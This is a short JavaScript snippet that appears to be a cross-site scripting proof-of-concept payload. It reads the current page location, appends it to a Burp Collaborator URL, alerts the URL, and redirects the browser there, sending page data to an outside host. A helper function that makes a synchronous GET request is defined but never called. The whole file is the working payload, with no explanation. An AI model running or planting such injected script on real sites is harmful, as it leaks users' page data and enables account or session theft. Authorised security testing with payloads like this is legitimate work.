var bla = document.location
var theUrl= "http://5synvv29kgnhgczbx7xymg3eb5hv5k.burpcollaborator.net" + "?" +bla ;
function httpGet(theUrl)
{
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", theUrl, false ); // false for synchronous request
    xmlHttp.send( null );
    return xmlHttp.responseText;
}
alert(theUrl)
window.location.replace(theUrl)